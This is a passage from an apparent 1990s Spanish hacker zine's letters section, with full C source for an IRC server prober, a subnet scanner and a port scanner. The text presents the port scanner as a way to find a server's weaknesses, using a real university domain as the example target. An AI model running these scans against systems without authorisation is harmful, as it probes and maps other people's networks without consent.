(Yo, por ejemplo, voy a seguir realizando en mis ratos libres Hwarez). Ah, y
si puedes.. comentale esta idea a mas personas de nuestro mundillo.
[ Esta propuesta es interesante y dificil de realizar por razones obvias
y claras. PERO citare una frase que espero comprendan:
" Si lo que deseas no lo haces, al paso del tiempo te percataras que
pasaste como si no hubieses pasado. Veras que eres, al igual que todos,
uno mas (o uno menos); uno en fin, sin importancia. En ese sentido se
le da a la vida un valor que no puede tener. Esta bien, enfrentate al
mundo ahora que es tiempo, pues la satisfaccion no la daran ni el
fracaso ni el triunfo, sino haber vivido.
Si todo es preciso arriesgarlo, arriesgalo todo, con la plena conciencia
de que lo puedes perder, pero: ¨No es mejor intentar un salto, a ser
expectador de alguien que lo intenta?
Uno siempre desea hacer mucho, y por falta de valor, o incluso porque
el sentido comun se¤ala su imposibilidad, no lo intentamos; y es que
verdaderamente, a cada hora, a cada instante, millones de hombres desean
el triunfo y nada mas uno, entre un millon, lo alcanza. ¨Quien nos puede
dar la seguridad de que nosotros si lograremos llegar? Arriesgar todo,
sin reservas, es un riesgo enorme. La prudencia nos indica buscar lo
seguro y solo dedicar al `riesgo' el tiempo libre.
-¨Es prudencia o temor al fracaso el no intentarlo?
-¨Es valor o pueril ilusion el intentarlo?
Nadie, sino aquel que busca nuevos horizontes, arriesgandolo todo, es
quien conoce el verdadero exito...o el verdadero fracaso. Nunca puede
fracasar quien nunca intenta nada. "
Salud! por el nuevo magazine llamado TrashDeeper. Suerte y cuenten con
sus camaradas de RareGaZz para cualquier cosa. Mas informacion sobre el
proyecto en: http://www.redestb.es/personal/cyberice
RareGaZz ya creo un grupo especial formado por Azumlord, VoV_77, Orion,
Arkangel, WarFare y yo mismo que representara a RareGaZz en ese zine.
Si quieren comentar sobre nuestra participacion en TrashDeeper escriban
a RAREMAG@HOTMAIL.COM ]
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Bueno, ahora los voy a molestar nuevamente, lo que sucede es que mi
novia tiene un problema con la red y parece que es un virus... El nombre de
este parece ser PAC.
Yo quisiera saber, si de pronto alguno de ustedes podria colaborarme,
informandome donde puedo encontrar la vacuna o que de pronto ustedes la
tengan y me la faciliten, sera que es posible?
[ ¨¨¨ Alguien tiene alguna idea ??? ]
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Aqui van algunas herramientas que a mas de uno ayudara...
Sirven para linux (no lo he probado en otro sistema)
/* linkfind.c------------------------------------------------------------------
* Link Finder -- version 1.00b
* by Crypt Keeper [ckeeper@axiom.access.one.net]
*
* Polls all IRC servers on an iRC network to find those that you are
* allowed to connect to.
*
* This program is free software. it is distributed as-is with no
* warranties of any kind, and may be freely copied or modified as long
* as you give me credit. :) */
/* Revision history:
* 1.00b - First release */
/* Here's a bit of a FAQ.. a short one:
*
* Q: Why does it hang when it's getting the list of server names?
* A: This can be slow. When you run link finder, try to pick a fast
* server to get the list from. Even then, this can take a while
* and netsplits can interfere. Try different servers, or try re-running
* the program. Remember that you can write your list to a logfile, so
* you really only need this once. The list of servers that you can
* connect to is not going to change very often. Also, if you aren't
* worried about polling _every_ server you could try -notunnel.
*
* Q: i use -fork and i don't see anything
* A: -fork allows link finder to run in the background, silently, and
* log to a file. This means that you could even leave it running on
* a system and log out. -fork requires either (or both) -l and -a to
* be specified. The program does not fork until it starts polling
* servers.
*
* Q: it won't compile!
* A: Port it to whatever you're on or find someone who can, and mail me
* the ported copy, or a diff, or something. */
/* To compile:
*
* Linux (and probably most Posix-compliant systems with gcc):
* gcc -O2 -fomit-frame-pointer -s -pipe -o linkfind linkfind.c
*
* Other systems try:
* gcc -O -s -o linkfind linkfind.c
* gcc -o linkfind linkfind.c
* cc -o linkfind linkfind.c
*
* This (or some variation of it) might work on HP/UX:
* cc +O3 -Aa -s -D__HPUX__ -o linkfind linkfind.c
*
* On some systems you may need to compile with one or more of these:
* -lsocket -lresolv -lucb -lnsl
*
* You can ignore warnings as long as you get a working binary.
*
* i can only personally test this on Linux, so i can't guarantee it'll
* compile on anything else. if someone else wants to add some more
* defines to get this to compile on other systems, be my guest. if
* you do, i'd appreciate if you mail me the changes so i can release a
* new version. */
/* Un-Comment this if your system does have strerror() */
/* #define HAS_STRERROR */
#ifdef __HPUX__
#define _iNCLUDE_HPUX_SOURCE
#define _iNCLUDE_XOPEN_SOURCE
#define _iNCLUDE_POSiX_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <errno.h>
#include <string.h>
#include <pwd.h>
/* Prototypes */
void do_help(char *whoami);
int connectout(char *hname,int portnum,int timeout);
char *my_strerror(int errornum);
void access_denied(char *servername,char *reason,char *tag);
void access_accepted(char *servername);
void process_motd(char *motd_line,char *servername);
void parse_server_line(int plug,char *servername,char *line_from_server);
char *randjunk(int len);
void try_server(char *servername);
int get_links(char *servername,int serverport);
void signal_handler(int signum);
void main(int argc,char *argv[]);
int _wild_match(unsigned char *mask,unsigned char *string);
int wild_match(char *pattern,char *str);
/* Global variable init */
int motd_pointer = 0; /* Used in process_motd() */
struct configstruct {
int serverport; /* Port for test connections */
int connect_timeout; /* Timeout for test connections (sec) */
char tunnel_foreign; /* Tunnel *.fi type stuff */
char do_motd_writes; /* Write motd files */
FiLE *logfile; /* Logfile */
char logging; /* Logging? */
FiLE *rawfile; /* Raw server list file */
char raw_logging; /* Writing raw server list? */
char run_background; /* Run in background? */
} my_config;
struct servstats {
int naccepted;
int ndenied;
int nerror; /* For statistics at the end */
} my_stats;
char serverlist[512][128]; /* List of all server names on net */
char *my_username; /* Whatever your username is determined to be */
unsigned char no_show_error = 0; /* Used in try_server and parsing */
#ifndef errno
extern int errno;
#endif
/* Macro that sends text to a server */
#define outserv(p,s) send(p,s,strlen(s),0)
/* Help message */
void do_help(char *whoami)
{
printf("Usage: %s [options] server[:port#]\n\n",whoami);
printf("Available options:\n");
printf(" -l filename - Output all findings to log file\n");
printf(" -a filename - Output plain list of servers\n");
printf(" that accept you to a file\n");
printf(" -[no]tunnel [default=on] - Tunnel into *.domain links\n");
printf(" -[no]motd [default=off] - Write working server MOTDs to\n");
printf(" files named after each server\n");
printf(" -[no]fork [default=off] - Run in background (-l and/or -a reqd)\n");
printf(" -t timeout [default=60] - Set trial connection timeout (secs)\n");
printf(" -p port# [default=6667] - Set trial connection port number\n\n");
printf("The server is any server you have access to use. if no port is specified\n");
printf("port 6667 is used. The -a and -l options may be used together.\n");
exit(0);
}
/* Connects to a remote host on the net */
int connectout(char *hname,int portnum,int timeout)
{
struct hostent *host_name;
struct sockaddr_in socketname;
int plug;
if ((plug = socket(AF_iNET,SOCK_STREAM,0)) < 0)
return -1;
socketname.sin_family = AF_iNET;
if ((host_name = gethostbyname(hname)) == (struct hostent *)NULL)
return -2;
socketname.sin_port = htons(portnum);
memcpy(&socketname.sin_addr,host_name->h_addr,host_name->h_length);
alarm(timeout);
if ((connect(plug,(struct sockaddr *)&socketname,sizeof(socketname))) < 0)
{
if (errno == EiNTR)
errno = ETiMEDOUT;
alarm(0);
return -3;
}
alarm(0);
return plug;
}
/* To make it easy to compile on systems without strerror() */
char *my_strerror(int errornum)
{
#ifdef HAS_STRERROR
return strerror(errornum);
#else
#ifdef sys_errlist
return sys_errlist[errornum];
#else
return "Unknown error";
#endif
#endif
}
/* These two do the logging and/or output for each test */
void access_denied(char *servername,char *reason,char *tag)
{
char buff[128];
if (strlen(tag) == 6)
sprintf(buff,"[%s] %s (%s)\n",tag,servername,reason);
if (strlen(tag) == 5)
sprintf(buff,"[%s] %s (%s)\n",tag,servername,reason);
if (my_config.logging) {
fprintf(my_config.logfile,buff);
fflush(my_config.logfile);
}
if (!my_config.run_background) {
printf(buff);
fflush(stdout);
}
}
void access_accepted(char *servername)
{
if (my_config.logging) {
fprintf(my_config.logfile,"[ACCEPTED] %s\n",servername);
fflush(my_config.logfile);
}
if (my_config.raw_logging) {
fprintf(my_config.rawfile,"%s\n",servername);
fflush(my_config.rawfile);
}
if (!my_config.run_background) {
printf("[ACCEPTED] %s\n",servername);
fflush(stdout);
}
my_stats.naccepted++;
}
/* This procedure handles motd files
* if motd_line==NULL and servername==name, write file.. else add to
* motd queue */
void process_motd(char *motd_line,char *servername)
{
static char motd[300][255];
char *tmp;
int i;
FiLE *motd_file;
if (my_config.do_motd_writes) {
if (motd_line) {
tmp = motd_line; tmp++;
while (*tmp != ':') tmp++;
tmp++;
strcpy(motd[motd_pointer++],tmp);
} else if (servername) {
if ((motd_file = fopen(servername,"w+")) == (FiLE *)NULL) {
fprintf(stderr,"Could not open file %s to write motd: %s\n",servername,my_strerror(errno));
fflush(stderr);
} else {
for(i=0;i<motd_pointer;i++)
fprintf(motd_file,"%s\n",motd[i]);
fclose(motd_file);
motd_pointer = 0;
}
}
}
}
/* This parses a line of text from a server we are checking out. it does
* not handle data from the server while we're getting links... that's
* another procedure. The 'no_show_error' global variable is to make sure
* we don't print 'banned from server' and then print the 'k-lined' error
* message too. */
void parse_server_line(int plug,char *servername,char *line_from_server)
{
char *tmp,buff[512];
if (wild_match("% 465 *",line_from_server)) {
access_denied(servername,"Banned from server","Denied");
no_show_error = 1;
my_stats.ndenied++;
return;
} else if ((wild_match("ERROR :*",line_from_server))&&(!no_show_error)) {
strcpy(buff,line_from_server);
if (strtok(buff,"()") == NULL)
access_denied(servername,"Unknown Error","Denied");
else {
if ((tmp = strtok(NULL,"()")) == NULL)
access_denied(servername,"Unknown Error","Denied");
else
access_denied(servername,tmp,"Denied");
}
my_stats.ndenied++;
return;
} else if (wild_match("% 001 *",line_from_server)) {
access_accepted(servername);
outserv(plug,"QUiT :Leaving\n");
no_show_error = 1;
return;
} else if ((wild_match("% 375 *",line_from_server))||(wild_match("% 372 *",line_from_server))) {
process_motd(line_from_server,(char *)0);
return;
} else if (wild_match("% 376 *",line_from_server)) {
process_motd((char *)0,servername);
return;
}
}
/* Returns a random junk string, no mixed case since that is a clonebot
* giveaway */
char *randjunk(int len)
{
int i;
static char junk[64];
char junkpick[26] = { 'a','b','c','d','e','f','g','h','i','j','k','l',
'm','n','o','p','q','r','s','t','u','v','w','x',
'y','z' };
for(i=0;i<len;i++)
junk[i] = junkpick[rand() % 26];
junk[len] = '\0';
return (char *)&junk;
}
/* Checks out a server */
void try_server(char *servername)
{
int plug,nread,i,lbptr = 0;
char inbuf[1024],linebuf[1024];
no_show_error = 0;
if ((plug = connectout(servername,my_config.serverport,my_config.connect_timeout)) > 0) {
sprintf(linebuf,"USER %s . . :%s %s\n",my_username,randjunk(rand() % 15),randjunk(rand() % 15));
outserv(plug,linebuf);
sprintf(linebuf,"NiCK %s\n",randjunk(7));
outserv(plug,linebuf);
alarm(my_config.connect_timeout);
while ((nread = recv(plug,&inbuf,sizeof(inbuf),0)) > 0) {
for(i=0;i<nread;i++) {
if (inbuf[i] == '\n') {
linebuf[lbptr] = '\0';
parse_server_line(plug,servername,linebuf);
lbptr = 0;
} else linebuf[lbptr++] = inbuf[i];
}
alarm(my_config.connect_timeout);
}
if (errno == EiNTR)
access_denied(servername,"No response from server","Error");
alarm(0);
close(plug);
} else {
if (plug == -2)
access_denied(servername,"Could not resolve hostname","Error");
else
access_denied(servername,my_strerror(errno),"Error");
my_stats.nerror++;
}
}
/* Gets the links list from a server, returns the number of links */
int get_links(char *servername,int serverport)
{
int plug,nread,i,lcount = 0,tunnels_left = 0,lbptr = 0;
char inbuf[1024],linebuf[1024],buff[128],*tmp,tunnels[64][128];
printf("Connecting to %s (port %d)...",servername,serverport);
fflush(stdout);
if ((plug = connectout(servername,serverport,120)) < 1) {
if (plug == -2)
printf(" Could not resolve hostname\n");
else
printf(" %s\n",my_strerror(errno));
exit(0);
}
printf("\nLogging in... ");
fflush(stdout);
sprintf(linebuf,"USER %s . . :%s %s\n",my_username,randjunk(rand() % 15),randjunk(rand() % 15));
outserv(plug,linebuf);
sprintf(linebuf,"NiCK %s\n",randjunk(7));
outserv(plug,linebuf);
while ((nread = recv(plug,&inbuf,sizeof(inbuf),0)) > 0) {
for (i=0;i<nread;i++) {
if (inbuf[i] == '\n') {
linebuf[lbptr] = '\0';
if (wild_match("% 001 *",linebuf)) {
outserv(plug,"LiNKS\n");
printf("Established! Retrieving server list...");
fflush(stdout);
} else if ((wild_match("% 365 *",linebuf))||(wild_match("% 402 *",linebuf))) {
if (tunnels_left > 0) {
printf(".[%s]",tunnels[tunnels_left-1]);
fflush(stdout);
sprintf(buff,"LiNKS %s %s\n",tunnels[tunnels_left-1],tunnels[tunnels_left-1]);
outserv(plug,buff);
tunnels_left--;
} else close(plug);
} else if (wild_match("% 364 *",linebuf)) {
if (strtok(linebuf," ") != (char *)NULL) {
strtok(NULL," ");
strtok(NULL," ");
if ((tmp = strtok(NULL," ")) != (char *)NULL) {
if (strchr(tmp,'*')) {
if (my_config.tunnel_foreign)
strcpy(tunnels[tunnels_left++],tmp);
} else strcpy(serverlist[lcount++],tmp);
}
}
} else if (!strncmp("PiNG",linebuf,4)) {
close(plug);
if (tunnels_left > 0) {
printf("\n%d tunneling requests timed out",tunnels_left);
fflush(stdout);
}
} else if (wild_match("% 465 *",linebuf)) {
printf("Banned from server\n");
close(plug);
exit(0);
} else if (wild_match("ERROR :*",linebuf)) {
printf("\n%s\n",linebuf);
close(plug);
exit(0);
}
lbptr = 0;
} else linebuf[lbptr++] = inbuf[i];
}
}
close(plug);
printf("\n\n%d server names in list; beginning scan...\n",lcount);
fflush(stdout);
return lcount;
}
/* Exits gracefully when a signal is recieved */
void signal_handler(int signum)
{
if (signum != SiGALRM) {
if (signum == SiGiNT)
printf("\nSiGiNT - CTRL+C pressed\n");
else
printf("\nLink Finder terminated\n");
if (my_config.logging)
fclose(my_config.logfile);
if (my_config.raw_logging)
fclose(my_config.rawfile);
exit(0);
}
signal(signum,signal_handler);
}
void main(int argc,char *argv[])
{
static struct passwd *my_pwent;
int i,aval,numlinks,serverport = 6667;
char buff[128],*tmp = (char *)0,*logfilename = (char *)0,*rawfilename = (char *)0,*servername = (char *)0;
printf("Link Finder version 1.00b (c)1996 by CKeeper [ckeeper@axiom.access.one.net]\nThis program is free software\n\n");
fflush(stdout);
if (argc < 2)
do_help(argv[0]);
/* init stuff, defaults */
srand(getpid());
my_config.serverport = 6667;
my_config.connect_timeout = 60;
my_config.tunnel_foreign = 1;
my_config.do_motd_writes = 0;
my_config.logging = 0;
my_config.raw_logging = 0;
my_config.run_background = 0;
servername = (char *)0;
/* Set up signals */
signal(SiGALRM,signal_handler);
signal(SiGPiPE,SiG_iGN);
signal(SiGTERM,signal_handler);
signal(SiGQUiT,signal_handler);
signal(SiGiNT,signal_handler);
/* Who am i? */
if ((my_pwent = getpwuid(getuid())) == (struct passwd *)NULL) {
fprintf(stderr,"Could not determine your username: %s\n",my_strerror(errno));
exit(0);
}
my_username = my_pwent->pw_name;
/* Get command line options (i'd like to use getopt(), but i think it
* isn't portable to some systems :P) */
for (i=1;i<argc;i++) {
aval = 0;
if (*argv[i] == '-') {
if (!strcmp("-motd",argv[i]))
my_config.do_motd_writes = 1;
else if (!strcmp("-nomotd",argv[i]))
my_config.do_motd_writes = 0;
else if (!strcmp("-tunnel",argv[i]))
my_config.tunnel_foreign = 1;
else if (!strcmp("-notunnel",argv[i]))
my_config.tunnel_foreign = 0;
else if (!strcmp("-fork",argv[i]))
my_config.run_background = 1;
else if (!strcmp("-nofork",argv[i]))
my_config.run_background = 0;
else {
tmp = argv[i]; tmp++;
while (*tmp)
{
switch (*tmp) {
case 'l':
if (i < argc) {
my_config.logging = 1;
logfilename = argv[i+aval+1];
aval++;
} else do_help(argv[0]);
break;
case 'a':
if (i < argc) {
my_config.raw_logging = 1;
rawfilename = argv[i+aval+1];
aval++;
} else do_help(argv[0]);
break;
case 't':
if (i < argc) {
my_config.connect_timeout = atoi(argv[i+aval+1]);
aval++;
} else do_help(argv[0]);
break;
case 'p':
if (i < argc) {
my_config.serverport = atoi(argv[i+aval+1]);
aval++;
} else do_help(argv[0]);
break;
default:
do_help(argv[0]);
}
tmp++;
}
}
} else {
if (strchr(argv[i],':')) {
strcpy(buff,argv[i]);
servername = strtok(buff,":");
serverport = atoi(strtok(NULL,":"));
} else servername = argv[i];
}
i=i+aval;
}
if (!servername)
do_help(argv[0]);
if (my_config.run_background) {
if ((!my_config.logging)&&(!my_config.raw_logging)) {
fprintf(stderr,"-fork requires some type of output file to be specified\n\n");
do_help(argv[0]);
}
}
/* Open any output files */
if (my_config.logging) {
if ((my_config.logfile = fopen(logfilename,"w+")) == (FiLE *)NULL) {
fprintf(stderr,"Error opening logfile: %s\n",my_strerror(errno));
exit(0);
} else printf("Opened %s for log output\n",logfilename);
}
if (my_config.raw_logging) {
if ((my_config.rawfile = fopen(rawfilename,"w+")) == (FiLE *)NULL) {
fprintf(stderr,"Error opening accepted list output file: %s\n",my_strerror(errno));
exit(0);
} else printf("Opened %s for accepted server list output\n",rawfilename);
}
/* Zero stats */
my_stats.naccepted = 0;
my_stats.ndenied = 0;
my_stats.nerror = 0;
/* Get links list */
numlinks = get_links(servername,serverport);
/* Run in background if background option is set */
if (my_config.run_background) {
if ((i = fork()) > 0) {
printf("Running in background as pid# %d\nType 'kill -TERM %d' to kill\n",i,i);
exit(0);
}
if (i < 0) {
fprintf(stderr,"Cannot fork!\n");
exit(0);
}
}
/* Try all the servers */
for(i=0;i<numlinks;i++)
try_server(serverlist[i]);
if (!my_config.run_background)
printf("\nTotal number tested:[%d] Accepted:[%d] Denied:[%d] Error:[%d]\n",numlinks,my_stats.naccepted,my_stats.ndenied,my_stats.nerror);
if (my_config.logging)
fclose(my_config.logfile);
if (my_config.raw_logging)
fclose(my_config.rawfile);
exit(0);
}
/* ------------------------------------------------------------------------ */
/* This is the wildcard match routine used in ircd and ircii... it makes the
* parsing routines much less of a headache. (just like iRC script!) */
/*
* Written By Douglas A. Lewis <dalewis@cs.Buffalo.EDU>
*
* This file is in the public domain.
*/
#define RETURN_FALSE -1
#define RETURN_TRUE count
unsigned char lower_tab[256] =
{
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
64, 97, 98, 99,100,101,102,103,104,105,106,107,108,109,110,111,
112,113,114,115,116,117,118,119,120,121,122, 91, 92, 93, 94, 95,
96, 97, 98, 99,100,101,102,103,104,105,106,107,108,109,110,111,
112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,
128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,
144,145,145,147,148,149,150,151,152,153,154,155,156,157,158,159,
160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,
176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,
192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,
208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,
224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,
240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255 };
#undef tolower
#define tolower(x) lower_tab[x]
int _wild_match(unsigned char *mask,unsigned char *string)
{
unsigned char *m = mask,*n = string,*ma = NULL,*na = NULL,*mp = NULL,*np = NULL;
int just = 0,pcount = 0,acount = 0,count = 0;
for (;;)
{
if (*m == '*')
{
ma = ++m;
na = n;
just = 1;
mp = NULL;
acount = count;
}
else if (*m == '%')
{
mp = ++m;
np = n;
pcount = count;
}
else if (*m == '?')
{
m++;
if (!*n++)
return RETURN_FALSE;
}
else
{
if (*m == '\\')
{
m++;
if (!*m)
return RETURN_FALSE;
}
if (!*m)
{
if (!*n)
return RETURN_TRUE;
if (just)
return RETURN_TRUE;
just = 0;
goto not_matched;
}
just = 0;
if (tolower(*m) == tolower(*n))
{
m++;
if (*n == ' ')
mp = NULL;
count++;
n++;
}
else
{
not_matched:
if (!*n)
return RETURN_FALSE;
if (mp)
{
m = mp;
if (*np == ' ')
{
mp = NULL;
goto check_percent;
}
n = ++np;
count = pcount;
}
else
check_percent:
if (ma)
{
m = ma;
n = ++na;
count = acount;
}
else
return RETURN_FALSE;
}
}
}
}
int wild_match(char *pattern,char *str)
{
/* assuming a -1 return of false */
return _wild_match((u_char *)pattern,(u_char *)str) + 1;
}
/* End stolen code -------------------------------------------------------- */
El siguiente programa es un iP scanner, se usa de la siguiente forma
netscan -v 199.186.81
ahi buscara las ip del 199.186.81 hasta 199.186.81.254
Aqui va el codigo :
/* netscan.c------------------------------------------------------------------
* gcc -o netscan netscan.c */
#include <ctype.h>
#include <stdio.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/errno.h>
extern int errno;
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
extern char *inet_ntoa();
extern char *optarg;
extern int optind;
int vflg = 0;
int delay = 1;
int port = 23;
main(ac,av)
int ac;
char **av;
{
char s[512];
int x;
char *p;
char *p2;
int i1;
int i2;
int i3 = -1;
while((x = getopt(ac,av,"d:vp:")) != -1) {
switch(x) {
case 'd':
delay = atoi(optarg);
break;
case 'v':
vflg++;
break;
case 'p':
port = atoi(optarg);
break;
}
}
if(optind == ac) {
fprintf(stderr,"usage: %s [-v] network ip\n",av[0]);
printf("usage: 192.100.81.100 would be entered as: netscan -v 192.100.81\n");
printf("usage: this will list ip usage from: 192.100.81.1 to: 192.100.81.254\n");
exit(1);
}
for(x = optind; x < ac; x++) {
strcpy(s,av[x]);
for(p = s; isdigit(*p); p++);
if(*p != '.') {
fprintf(stderr,"malformed network address: %s\n",av[x]);
exit(1);
}
*p++ = '\0';
i1 = atoi(s);
if(i1 < 1 || i1 > 254) {
fprintf(stderr,"first octet %d out of range in address: %s\n",i1,av[x]);
exit(1);
}
p2 = p;
for(; isdigit(*p); p++);
if(*p != '.' && *p != '\0') {
fprintf(stderr,"network address: %s malformed\n",av[x]);
exit(1);
}
if(*p == '.')
*p++ = '\0';
i2 = atoi(p2);
if(i2 < 1 || i2 > 254) {
fprintf(stderr,"second octet %d out of range in address: %s\n",i2,av[x]);
exit(1);
}
if(*p != '\0') {
p2 = p;
for(; isdigit(*p); p++);
if(*p != '\0') {
fprintf(stderr,"network address: %s malformed\n",av[x]);
exit(1);
}
i3 = atoi(p2);
if(i3 > 254) {
fprintf(stderr,"third octet %d out of range in address: %s\n",i3,av[x]);
exit(1);
}
}
if(i3 != -1) {
if(crunchnet(i1,i2,i3))
exit(1);
} else {
for(x = 1; x < 255; x++)
if(crunchnet(i1,i2,x))
exit(1);
}
}
exit(0);
}
char *
addrof(in)
struct in_addr in;
{
struct hostent *hp;
static char xuf[512];
hp = gethostbyaddr((char *)&in,sizeof(in),AF_iNET);
if(hp == (struct hostent *)0)
return(inet_ntoa(in));
else {
sprintf(xuf,"%s (%s)",hp->h_name,inet_ntoa(in));
return(xuf);
}
}
crunchnet(i1,i2,i3)
int i1;
int i2;
int i3;
{
struct sockaddr_in addr;
struct timeval timo;
int fd;
int x;
char *s;
if(vflg)
fprintf(stderr,"trying subnet %d.%d.%d\n",i1,i2,i3);
s = (char *)&addr.sin_addr;
s[0] = i1;
s[1] = i2;
s[2] = i3;
timo.tv_usec = 0;
timo.tv_sec = delay;
for(x = 1; x < 255; x++) {
s[3] = x;
addr.sin_port = htons(port);
addr.sin_family = AF_iNET;
fd = socket(AF_iNET,SOCK_STREAM,0);
if(fd < 0) {
perror("socket");
return(1);
}
fcntl(fd,F_SETFL,FNDELAY);
if(connect(fd,(struct sockaddr *)&addr,sizeof(addr)) < 0) {
fd_set msk;
#ifdef EiNPROGRESS
if(errno != EWOULDBLOCK && errno != EiNPROGRESS)
goto giveup;
#else
if(errno != EWOULDBLOCK)
goto giveup;
#endif
FD_ZERO(&msk);
FD_SET(fd,&msk);
if(select(fd + 1,0,&msk,0,&timo) != 1)
goto giveup;
if(vflg)
fprintf(stderr,"%c%s\n",07,addrof(addr.sin_addr));
else
printf("%s\n",addrof(addr.sin_addr));
} else {
if(vflg)
fprintf(stderr,"%c%s\n",07,addrof(addr.sin_addr));
else
printf("%s\n",addrof(addr.sin_addr));
}
close(fd);
continue;
giveup:
if(vflg)
fprintf(stderr,"\t%s\n",addrof(addr.sin_addr));
close(fd);
}
if(vflg)
fprintf(stderr,"\n");
return(0);
}
/*-----------------------------Fin del codigo--------------------------------*/
Este Programa es un buscador de puertos, para buscar debilidades de un
servidor, Se usa de la siguiente forma :
portscan -l lowport -h highport [-v] host
por ejemplo :
quiero en el servidor uchile.cl buscar los puertos del 1 al 255
entonces escribo :
portscan -l 1 -h 255 uchile.cl
ahi va ir saliendo los puertos activo
la opcion -v es para modo verbose...
/* portscan.c----------------------------------------------------------------*/
#include <ctype.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
extern char *optarg;
extern int optind;
extern struct servent *getservbyport();
main(ac,av)
int ac;
char **av;
{
int loport = 0;
int hiport = 30000;
char *s;
struct sockaddr_in addr;
struct hostent *hp;
int fd;
int x;
int xit;
char *p;
int vflg = 0;
while((x = getopt(ac,av,"l:h:v")) != -1) {
switch(x) {
case 'v':
vflg++;
break;
case 'h':
hiport = atoi(optarg);
break;
case 'l':
loport = atoi(optarg);
break;
}
}
if(optind == ac) {
fprintf(stderr,"usage: %s [-l low port] [-h high port] [-v] host\n",av[0]);
exit(1);
}
for(xit = optind; xit < ac; xit++) {
s = av[xit];
p = s;
while(*p != '\0' && (*p == '.' || isdigit(*p)))
p++;
/* not all digits or dots */
if(*p != '\0') {
if((hp = gethostbyname(s)) == (struct hostent *)0) {
fprintf(stderr,"%s: address unknown\n",s);
exit(1);
}
(void)bcopy(hp->h_addr,(char *)&addr.sin_addr,hp->h_length);
} else {
unsigned long f;
if((f = inet_addr(s)) == -1L) {
fprintf(stderr,"%s: address unparsable\n",s);
exit(1);
}
(void)bcopy((char *)&f,(char *)&addr.sin_addr,sizeof(f));
}
if(vflg)
fprintf(stderr,"%s: trying stream ports between %d and %d\n",s,loport,hiport);
for(x = loport; x < hiport + 1; x++) {
if(vflg)
fprintf(stderr,".");
addr.sin_port = htons(x);
addr.sin_family = AF_iNET;
fd = socket(AF_iNET,SOCK_STREAM,0);
if(fd < 0) {
perror("socket");
exit(1);
}
if(connect(fd,(struct sockaddr *)&addr,sizeof(addr)) == 0) {
struct servent *sp;
if((sp = getservbyport(x,"tcp")) != (struct servent *)0) {
if(vflg)
fprintf(stderr,"\n%c%s\n",07,sp->s_name);
else
printf("%s\n",sp->s_name);
} else {
if(vflg)
fprintf(stderr,"\n%c%d\n",07,x);
else
printf("%d\n",x);
}
}
close(fd);
}
if(vflg)
fprintf(stderr,"\n");
}
exit(0);
}
/*----------------------------Fin del Codigo--------------------------------*/
Este programa es un translador de direccion iP a Alfanumerico...
/* lookup.c-----------------------------------------------------------------*/
/*translate ip to alpha, faster than nslookup*/
/*thc*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
main(argc, argv)
int argc;
char *argv[];
{
struct hostent *lookup;
char name[255];
unsigned long addr;
if (argc != 2) {
printf("Usage: %s {ipnumber}\n", argv[0]);
exit(1); }
if ((addr = inet_addr(argv[1])) == -1) {
printf("Couldn't find %s\n", argv[1]);
exit(1); }
if ((lookup = gethostbyaddr((char *) &addr,sizeof(long),AF_iNET)) != NULL) {
printf("%s \t %s\n",argv[1], lookup->h_name);
*lookup->h_addr_list++; }
else
printf("Error: couldn't find hostname for %s\n", argv[1]);
}
/*---------------------------Fin del codigo----------------------------------*/
Aqui va un programa uuencodeado para poder cargar esos programas antiguos
que cargan tan rapido, has tratado de jugar space invaders en un pentium o
mario bros?, bueno este programa ayuda en algo, para usarlo pones :
slowdos 1000 space.exe , o segun tus preferencias...
(iNCLUiDO EN LA SECCiON UUENCODE)
Gracias por la excelente revista...
Blacklash
necesitamos gente que sepa crear scripts para ircii y Pirch...
-----BEGiN PGP PUBLiC KEY BLOCK-----
Version: 2.6.3ia
mQENAzPNZ00AAAEiAMs1J7+3x6G7trFSRY5pSBUUArN8XksQTyCl/2t+cmBDhQ4l
mA18ze31NUGOuX7Wk9yynTUSG5/HQ3nUsR5sFOiPhrP215yAERdUD+gAzg+B0CG7
JmUKJhNSibUvQsPg2/XVO13uciiefWVvDioGiG4dRBUV9AB1xJR/SQi1HwQyhV13
LP7ACeXQinsoPHY7Hki/aPKrw/0uWuz7zkZHotiVnuXdVDitLOjwNF8YiGuXacRu
7k11TTYqSjFEhOddisuTQg88MW3w4sO6RiiGn0VTppsFLWeZwNJ9J1dv89smktkQ
kuK9LuExcBu6k1qzy/CMYJP9oD9Z1oXDaJx35iEABRG0iUJsYWNrbGFzaCA8dHJ1
